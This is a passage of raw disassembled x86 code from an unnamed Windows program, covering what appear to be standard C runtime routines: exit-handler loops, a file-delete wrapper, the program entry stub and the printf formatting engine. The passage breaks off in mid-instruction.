sub_417BD8 proc near ; CODE XREF: _0:00417D97p mov eax, ds:off_42F32C test eax, eax jz short loc_417BE3 call eax ; sub_415F19 loc_417BE3: ; CODE XREF: sub_417BD8+7j push (offset loc_42401D+3) push offset dword_42400C call sub_417CC0 push offset dword_424008 push offset dword_424000 call sub_417CC0 add esp, 10h retn sub_417BD8 endp ; =============== S U B R O U T I N E ======================================= sub_417C05 proc near ; CODE XREF: _0:00417DD6p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_417C27 add esp, 0Ch retn sub_417C05 endp ; =============== S U B R O U T I N E ======================================= sub_417C16 proc near ; CODE XREF: _0:00417DF5p ; sub_417DFA+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_417C27 add esp, 0Ch retn sub_417C16 endp ; =============== S U B R O U T I N E ======================================= sub_417C27 proc near ; CODE XREF: sub_417C05+8p ; sub_417C16+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp ds:dword_4C90CC, edi jnz short loc_417C44 push [esp+4+arg_0] call ds:dword_42211C ; GetCurrentProcess push eax call ds:dword_422158 ; TerminateProcess loc_417C44: ; CODE XREF: sub_417C27+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov ds:dword_4C90C8, edi mov ds:byte_4C90C4, bl jnz short loc_417C98 mov eax, ds:dword_4CA71C test eax, eax jz short loc_417C87 mov ecx, ds:dword_4CA718 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_417C86 loc_417C73: ; CODE XREF: sub_417C27+5Dj mov eax, [esi] test eax, eax jz short loc_417C7B call eax loc_417C7B: ; CODE XREF: sub_417C27+50j sub esi, 4 cmp esi, ds:dword_4CA71C jnb short loc_417C73 loc_417C86: ; CODE XREF: sub_417C27+4Aj pop esi loc_417C87: ; CODE XREF: sub_417C27+3Cj push offset dword_42402C push offset dword_424024 call sub_417CC0 pop ecx pop ecx loc_417C98: ; CODE XREF: sub_417C27+33j push offset dword_424038 push offset dword_424030 call sub_417CC0 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_417CBE push [esp+4+arg_0] mov ds:dword_4C90CC, edi call ds:off_42212C loc_417CBE: ; CODE XREF: sub_417C27+85j pop edi retn sub_417C27 endp ; =============== S U B R O U T I N E ======================================= sub_417CC0 proc near ; CODE XREF: sub_417BD8+15p ; sub_417BD8+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_417CC5: ; CODE XREF: sub_417CC0+16j cmp esi, [esp+4+arg_4] jnb short loc_417CD8 mov eax, [esi] test eax, eax jz short loc_417CD3 call eax loc_417CD3: ; CODE XREF: sub_417CC0+Fj add esi, 4 jmp short loc_417CC5 ; --------------------------------------------------------------------------- loc_417CD8: ; CODE XREF: sub_417CC0+9j pop esi retn sub_417CC0 endp ; =============== S U B R O U T I N E ======================================= sub_417CDA proc near ; CODE XREF: sub_40D2E0+2BBBp arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_42213C ; DeleteFileA test eax, eax jnz short loc_417CF0 call ds:dword_42206C ; RtlGetLastWin32Error jmp short loc_417CF2 ; --------------------------------------------------------------------------- loc_417CF0: ; CODE XREF: sub_417CDA+Cj xor eax, eax loc_417CF2: ; CODE XREF: sub_417CDA+14j test eax, eax jz short loc_417D01 push eax call sub_41D064 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417D01: ; CODE XREF: sub_417CDA+1Aj xor eax, eax retn sub_417CDA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_422698 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call ds:dword_422188 ; GetVersion xor edx, edx mov dl, ah mov ds:dword_4C909C, edx mov ecx, eax and ecx, 0FFh mov ds:dword_4C9098, ecx shl ecx, 8 add ecx, edx mov ds:dword_4C9094, ecx shr eax, 10h mov ds:dword_4C9090, eax xor esi, esi push esi call sub_418E04 pop ecx test eax, eax jnz short loc_417D70 push 1Ch call sub_417E1F pop ecx loc_417D70: ; CODE XREF: _0:00417D66j mov [ebp-4], esi call sub_41D6DF call ds:dword_422184 ; GetCommandLineA mov ds:dword_4CA70C, eax call sub_41D5AD mov ds:dword_4C90D0, eax call sub_41D360 call sub_41D2A7 call sub_417BD8 mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call ds:dword_422180 ; GetStartupInfoA call sub_41D24F mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_417DBD movzx eax, word ptr [ebp-2Ch] jmp short loc_417DC0 ; --------------------------------------------------------------------------- loc_417DBD: ; CODE XREF: _0:00417DB5j push 0Ah pop eax loc_417DC0: ; CODE XREF: _0:00417DBBj push eax push dword ptr [ebp-64h] push esi push esi call ds:off_4220E0 push eax call sub_40CB17 mov [ebp-60h], eax push eax call sub_417C05 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_41D0CB pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_417C16 ; =============== S U B R O U T I N E ======================================= sub_417DFA proc near ; CODE XREF: sub_416832+16p ; sub_41D2A7+4Ep ... arg_0 = dword ptr 4 cmp ds:dword_4C90D8, 1 jnz short loc_417E08 call sub_41D96C loc_417E08: ; CODE XREF: sub_417DFA+7j push [esp+arg_0] call sub_41D9A5 push 0FFh call ds:off_42F350 pop ecx pop ecx retn sub_417DFA endp ; =============== S U B R O U T I N E ======================================= sub_417E1F proc near ; CODE XREF: _0:00417D6Ap arg_0 = dword ptr 4 cmp ds:dword_4C90D8, 1 jnz short loc_417E2D call sub_41D96C loc_417E2D: ; CODE XREF: sub_417E1F+7j push [esp+arg_0] call sub_41D9A5 pop ecx push 0FFh call ds:off_42212C retn sub_417E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E43 proc near ; CODE XREF: sub_415480+46p ; sub_4159FA+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_417F4C test al, 40h jnz loc_417F4C test al, 1 jz short loc_417E7B and dword ptr [esi+4], 0 test al, 10h jz loc_417F4C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_417E7B: ; CODE XREF: sub_417E43+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_417EB5 cmp esi, offset dword_431A98 jz short loc_417EA3 cmp esi, offset dword_431AB8 jnz short loc_417EAE loc_417EA3: ; CODE XREF: sub_417E43+56j push ebx call sub_41DB3C test eax, eax pop ecx jnz short loc_417EB5 loc_417EAE: ; CODE XREF: sub_417E43+5Ej push esi call sub_41DAF8 pop ecx loc_417EB5: ; CODE XREF: sub_417E43+4Ej ; sub_417E43+69j test word ptr [esi+0Ch], 108h push edi jz short loc_417F22 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_417EE5 push edi push eax push ebx call sub_41CEB7 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_417F18 ; --------------------------------------------------------------------------- loc_417EE5: ; CODE XREF: sub_417E43+90j cmp ebx, 0FFFFFFFFh jz short loc_417F00 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, ds:dword_4CA3C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_417F05 ; --------------------------------------------------------------------------- loc_417F00: ; CODE XREF: sub_417E43+A5j mov eax, offset dword_4319E0 loc_417F05: ; CODE XREF: sub_417E43+BBj test byte ptr [eax+4], 20h jz short loc_417F18 push 2 push 0 push ebx call sub_41C637 add esp, 0Ch loc_417F18: ; CODE XREF: sub_417E43+A0j ; sub_417E43+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_417F36 ; --------------------------------------------------------------------------- loc_417F22: ; CODE XREF: sub_417E43+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41CEB7 add esp, 0Ch mov [ebp+arg_4], eax loc_417F36: ; CODE XREF: sub_417E43+DDj cmp [ebp+arg_4], edi pop edi jz short loc_417F42 or dword ptr [esi+0Ch], 20h jmp short loc_417F51 ; --------------------------------------------------------------------------- loc_417F42: ; CODE XREF: sub_417E43+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_417F54 ; --------------------------------------------------------------------------- loc_417F4C: ; CODE XREF: sub_417E43+10j ; sub_417E43+18j ... or al, 20h mov [esi+0Ch], eax loc_417F51: ; CODE XREF: sub_417E43+FDj or eax, 0FFFFFFFFh loc_417F54: ; CODE XREF: sub_417E43+107j pop esi pop ebx pop ebp retn sub_417E43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F58 proc near ; CODE XREF: sub_415480+29p ; sub_4159FA+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_418671 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_417F8C ; --------------------------------------------------------------------------- loc_417F84: ; CODE XREF: sub_417F58+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_417F8C: ; CODE XREF: sub_417F58+2Aj cmp [ebp+var_14], edx jl loc_418671 cmp bl, 20h jl short loc_417FAD cmp bl, 78h jg short loc_417FAD movsx eax, bl mov al, [eax+422684h] and eax, 0Fh jmp short loc_417FAF ; --------------------------------------------------------------------------- loc_417FAD: ; CODE XREF: sub_417F58+40j ; sub_417F58+45j xor eax, eax loc_417FAF: ; CODE XREF: sub_417F58+53j movsx eax, ds:byte_4226A4[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_418660 ; default jmp off_418679[eax*4] ; switch jump loc_417FCD: ; DATA XREF: _0:off_418679o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00417FC6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_417FE8: ; CODE XREF: sub_417F58+6Ej ; DATA XREF: _0:off_418679o movsx eax, bl ; jumptable 00417FC6 case 2 sub eax, 20h jz short loc_41802B sub eax, 3 jz short loc_418022 sub eax, 8 jz short loc_418019 dec eax dec eax jz short loc_418010 sub eax, 3 jnz loc_418660 ; default or [ebp+var_4], 8 jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_418010: ; CODE XREF: sub_417F58+A4j or [ebp+var_4], 4 jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_418019: ; CODE XREF: sub_417F58+A0j or [ebp+var_4], 1 jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_418022: ; CODE XREF: sub_417F58+9Bj or byte ptr [ebp+var_4], 80h jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_41802B: ; CODE XREF: sub_417F58+96j or [ebp+var_4], 2 jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_418034: ; CODE XREF: sub_417F58+6Ej ; DATA XREF: _0:off_418679o cmp bl, 2Ah ; jumptable 00417FC6 case 3 jnz short loc_41805C lea eax, [ebp+arg_8] push eax call sub_418737 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_418660 ; default or [ebp+var_4], 4 neg eax loc_418054: ; CODE XREF: sub_417F58+111j mov [ebp+var_20], eax jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_41805C: ; CODE XREF: sub_417F58+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_418054 ; --------------------------------------------------------------------------- loc_41806B: ; CODE XREF: sub_417F58+6Ej ; DATA XREF: _0:off_418679o mov [ebp+var_10], edx ; jumptable 00417FC6 case 4 jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_418073: ; CODE XREF: sub_417F58+6Ej ; DATA XREF: _0:off_418679o cmp bl, 2Ah ; jumptable 00417FC6 case 5 jnz short loc_418096 lea eax, [ebp+arg_8] push eax call sub_418737 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_418660 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_418096: ; CODE XREF: sub_417F58+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_4180A8: ; CODE XREF: sub_417F58+6Ej ; DATA XREF: _0:off_418679o cmp bl, 49h ; jumptable 00417FC6 case 6 jz short loc_4180DB cmp bl, 68h jz short loc_4180D2 cmp bl, 6Ch jz short loc_4180C9 cmp bl, 77h jnz loc_418660 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_4180C9: ; CODE XREF: sub_417F58+15Dj or [ebp+var_4], 10h jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_4180D2: ; CODE XREF: sub_417F58+158j or [ebp+var_4], 20h jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_4180DB: ; CODE XREF: sub_417F58+153j cmp byte ptr [edi], 36h jnz short loc_4180F4 cmp byte ptr [edi+1], 34h jnz short loc_4180F4 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_4180F4: ; CODE XREF: sub_417F58+186j ; sub_417F58+18Cj mov [ebp+var_30], edx loc_4180F7: ; CODE XREF: sub_417F58+6Ej ; DATA XREF: _0:off_418679o mov ecx, ds:off_42F360 ; jumptable 00417FC6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_418123 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_418699 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_418123: ; CODE XREF: sub_417F58+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_418699 add esp, 0Ch jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_41813B: ; CODE XREF: sub_417F58+6Ej ; DATA XREF: _0:off_418679o movsx eax, bl ; jumptable 00417FC6 case 7 cmp eax, 67h jg loc_418363 cmp eax, 65h jge loc_4181E6 cmp eax, 58h jg loc_418244 jz loc_4183D7 sub eax, 43h jz loc_418207 dec eax dec eax jz short loc_4181DC dec eax dec eax jz short loc_4181DC sub eax, 0Ch jnz loc_418562 test word ptr [ebp+var_4], 830h jnz short loc_418185 or byte ptr [ebp+var_4+1], 8 loc_418185: ; CODE XREF: sub_417F58+227j ; sub_417F58+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_418192 mov esi, 7FFFFFFFh loc_418192: ; CODE XREF: sub_417F58+233j lea eax, [ebp+arg_8] push eax call sub_418737 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_4183AB test ecx, ecx jnz short loc_4181BA mov ecx, ds:off_42F35C mov [ebp+var_8], ecx loc_4181BA: ; CODE XREF: sub_417F58+257j mov [ebp+var_24], 1 mov eax, ecx loc_4181C3: ; CODE XREF: sub_417F58+282j mov edx, esi dec esi test edx, edx jz loc_4183A2 cmp word ptr [eax], 0 jz loc_4183A2 inc eax inc eax jmp short loc_4181C3 ; --------------------------------------------------------------------------- loc_4181DC: ; CODE XREF: sub_417F58+212j ; sub_417F58+216j mov [ebp+var_34], 1 add bl, 20h loc_4181E6: ; CODE XREF: sub_417F58+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4182CA mov [ebp+var_10], 6 jmp loc_4182D8 ; --------------------------------------------------------------------------- loc_418207: ; CODE XREF: sub_417F58+20Aj test word ptr [ebp+var_4], 830h jnz short loc_418213 or byte ptr [ebp+var_4+1], 8 loc_418213: ; CODE XREF: sub_417F58+2B5j ; sub_417F58+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41825A call sub_418754 push eax lea eax, [ebp+var_248] push eax call sub_41DC1B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41826D mov [ebp+var_28], 1 jmp short loc_41826D ; --------------------------------------------------------------------------- loc_418244: ; CODE XREF: sub_417F58+1FBj sub eax, 5Ah jz short loc_41827B sub eax, 9 jz short loc_418213 dec eax jz loc_41843D jmp loc_418562 ; --------------------------------------------------------------------------- loc_41825A: ; CODE XREF: sub_417F58+2C5j call sub_418737 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41826D: ; CODE XREF: sub_417F58+2E1j ; sub_417F58+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_418562 ; --------------------------------------------------------------------------- loc_41827B: ; CODE XREF: sub_417F58+2EFj lea eax, [ebp+arg_8] push eax call sub_418737 test eax, eax pop ecx jz short loc_4182BC mov ecx, [eax+4] test ecx, ecx jz short loc_4182BC test byte ptr [ebp+var_4+1], 8 jz short loc_4182AD movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_418562 ; --------------------------------------------------------------------------- loc_4182AD: ; CODE XREF: sub_417F58+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41855F ; --------------------------------------------------------------------------- loc_4182BC: ; CODE XREF: sub_417F58+32Fj ; sub_417F58+336j mov eax, ds:off_42F358 mov [ebp+var_8], eax push eax jmp loc_418358 ; --------------------------------------------------------------------------- loc_4182CA: ; CODE XREF: sub_417F58+29Dj jnz short loc_4182D8 cmp bl, 67h jnz short loc_4182D8 mov [ebp+var_10], 1 loc_4182D8: ; CODE XREF: sub_417F58+2AAj ; sub_417F58:loc_4182CAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call ds:off_4316C0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41832A cmp [ebp+var_10], 0 jnz short loc_41832A lea eax, [ebp+var_248] push eax call ds:off_4316CC pop ecx loc_41832A: ; CODE XREF: sub_417F58+3BCj ; sub_417F58+3C2j cmp bl, 67h jnz short loc_418341 test esi, esi jnz short loc_418341 lea eax, [ebp+var_248] push eax call ds:off_4316C4 pop ecx loc_418341: ; CODE XREF: sub_417F58+3D5j ; sub_417F58+3D9j cmp [ebp+var_248], 2Dh jnz short loc_418357 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_418357: ; CODE XREF: sub_417F58+3F0j push edi loc_418358: ; CODE XREF: sub_417F58+36Dj call sub_415C80 pop ecx jmp loc_41855F ; --------------------------------------------------------------------------- loc_418363: ; CODE XREF: sub_417F58+1E9j sub eax, 69h jz loc_41843D sub eax, 5 jz loc_418413 dec eax jz loc_418400 dec eax jz short loc_4183D0 sub eax, 3 jz loc_418185 dec eax dec eax jz loc_418441 sub eax, 3 jnz loc_418562 mov [ebp+var_2C], 27h jmp short loc_4183DE ; --------------------------------------------------------------------------- loc_4183A2: ; CODE XREF: sub_417F58+270j ; sub_417F58+27Aj sub eax, ecx sar eax, 1 jmp loc_41855F ; --------------------------------------------------------------------------- loc_4183AB: ; CODE XREF: sub_417F58+24Fj test ecx, ecx jnz short loc_4183B8 mov ecx, ds:off_42F358 mov [ebp+var_8], ecx loc_4183B8: ; CODE XREF: sub_417F58+455j mov eax, ecx loc_4183BA: ; CODE XREF: sub_417F58+46Fj mov edx, esi dec esi test edx, edx jz short loc_4183C9 cmp byte ptr [eax], 0 jz short loc_4183C9 inc eax jmp short loc_4183BA ; --------------------------------------------------------------------------- loc_4183C9: ; CODE XREF: sub_417F58+467j ; sub_417F58+46Cj sub eax, ecx jmp loc_41855F ; --------------------------------------------------------------------------- loc_4183D0: ; CODE XREF: sub_417F58+425j mov [ebp+var_10], 8 loc_4183D7: ; CODE XREF: sub_417F58+201j mov [ebp+var_2C], 7 loc_4183DE: ; CODE XREF: sub_417F58+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_418448 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_418448 ; --------------------------------------------------------------------------- loc_418400: ; CODE XREF: sub_417F58+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_418448 or byte ptr [ebp+var_4+1], 2 jmp short loc_418448 ; --------------------------------------------------------------------------- loc_418413: ; CODE XREF: sub_417F58+417j lea eax, [ebp+arg_8] push eax call sub_418737 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41842C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_418431 ; --------------------------------------------------------------------------- loc_41842C: ; CODE XREF: sub_417F58+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_418431: ; CODE XREF: sub_417F58+4D2j mov [ebp+var_28], 1 jmp loc_418660 ; default ; --------------------------------------------------------------------------- loc_41843D: ; CODE XREF: sub_417F58+2F7j ; sub_417F58+40Ej or [ebp+var_4], 40h loc_418441: ; CODE XREF: sub_417F58+432j mov [ebp+var_C], 0Ah loc_418448: ; CODE XREF: sub_417F58+491j ; sub_417F58+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41845A lea eax, [ebp+arg_8] push eax call sub_418744 pop ecx jmp short loc_41849B ; --------------------------------------------------------------------------- loc_41845A: ; CODE XREF: sub_417F58+4F4j test byte ptr [ebp+var_4], 20h jz short loc_418481 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_418476 call sub_418737 pop ecx movsx eax, ax loc_418473: ; CODE XREF: sub_417F58+527j ; sub_417F58+539j cdq jmp short loc_41849B ; --------------------------------------------------------------------------- loc_418476: ; CODE XREF: sub_417F58+510j call sub_418737 pop ecx movzx eax, ax jmp short loc_418473 ; --------------------------------------------------------------------------- loc_418481: ; CODE XREF: sub_417F58+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_418493 call sub_418737 pop ecx jmp short loc_418473 ; --------------------------------------------------------------------------- loc_418493: ; CODE XREF: sub_417F58+531j call sub_418737 pop ecx xor edx, edx loc_41849B: ; CODE XREF: sub_417F58+500j ; sub_417F58+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4184BC test edx, edx jg short loc_4184BC jl short loc_4184AB test eax, eax jnb short loc_4184BC loc_4184AB: ; CODE XREF: sub_417F58+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4184C0 ; --------------------------------------------------------------------------- loc_4184BC: ; CODE XREF: sub_417F58+547j ; sub_417F58+54Bj ... mov esi, eax mov edi, edx loc_4184C0: ; CODE XREF: sub_417F58+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4184C9 and edi, 0 loc_4184C9: ; CODE XREF: sub_417F58+56Cj cmp [ebp+var_10], 0 jge short loc_4184D8 mov [ebp+var_10], 1 jmp short loc_4184DC ; --------------------------------------------------------------------------- loc_4184D8: ; CODE XREF: sub_417F58+575j and [ebp+var_4], 0FFFFFFF7h loc_4184DC: ; CODE XREF: sub_417F58+57Ej mov eax, esi or eax, edi jnz short loc_4184E6 and [ebp+var_1C], 0 loc_4184E6: ; CODE XREF: sub_417F58+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4184EC: ; CODE XREF: sub_417F58+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4184FC mov eax, esi or eax, edi jz short loc_418537 loc_4184FC: ; CODE XREF: sub_417F58+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4172F0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_417370 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41852D add ebx, [ebp+var_2C] loc_41852D: ; CODE XREF: sub_417F58+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4184EC ; --------------------------------------------------------------------------- loc_418537: ; CODE XREF: sub_417F58+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_418562 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_418555 test eax, eax jnz short loc_418562 loc_418555: ; CODE XREF: sub_417F58+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41855F: ; CODE XREF: sub_417F58+35Fj ; sub_417F58+406j ... mov [ebp+var_C], eax loc_418562: ; CODE XREF: sub_417F58+21Bj ; sub_417F58+2FDj ... cmp [ebp+var_28], 0 jnz loc_418660 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41859A test bh, 1 jz short loc_41857F mov [ebp+var_16], 2Dh jmp short loc_418593 ; --------------------------------------------------------------------------- loc_41857F: ; CODE XREF: sub_417F58+61Fj test bl, 1 jz short loc_41858A mov [ebp+var_16], 2Bh jmp short loc_418593 ; --------------------------------------------------------------------------- loc_41858A: ; CODE XREF: sub_417F58+62Aj test bl, 2 jz short loc_41859A mov [ebp+var_16], 20h loc_418593: ; CODE XREF: sub_417F58+625j ; sub_417F58+630j mov [ebp+var_1C], 1 loc_41859A: ; CODE XREF: sub_417F58+61Aj ; sub_417F58+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4185BA lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4186CE add esp, 10h loc_4185BA: ; CODE XREF: sub_417F58+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4186FF add esp, 10h test bl, 8 jz short loc_4185EC test bl, 4 jnz short loc_4185EC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4186CE add esp, 10h loc_4185EC: ; CODE XREF: sub_417F58+67Bj ; sub_417F58+680j cmp [ebp+var_24], 0 jz short loc_418633 cmp [ebp+var_C], 0 jle short loc_418633 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_418601: ; CODE XREF: sub_417F58+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41DC1B pop ecx test eax, eax pop ecx jle short loc_418648 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4186FF add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_418601 jmp short loc_418648 ; --------------------------------------------------------------------------- loc_418633: ; CODE XREF: sub_417F58+698j ; sub_417F58+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4186FF add esp, 10h loc_418648: ; CODE XREF: sub_417F58+6BCj ; sub_417F58+6D9j test byte ptr [ebp+var_4], 4 jz short loc_418660 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4186CE add esp, 10h loc_418660: ; CODE XREF: sub_417F58+68j ; sub_417F58+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_417F84 loc_418671: ; CODE XREF: sub_417F58+1Fj ; sub_417F58+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_417F58 endp ; --------------------------------------------------------------------------- off_418679 dd offset loc_4180F7 ; DATA XREF: sub_417F58+6Er dd offset loc_417FCD ; jump table for switch statement dd offset loc_417FE8 dd offset loc_418034 dd offset loc_41806B dd offset loc_418073 dd offset loc_4180A8 dd offset loc_41813B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418699 proc near ; CODE XREF: sub_417F58+1BDp ; sub_417F58+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, 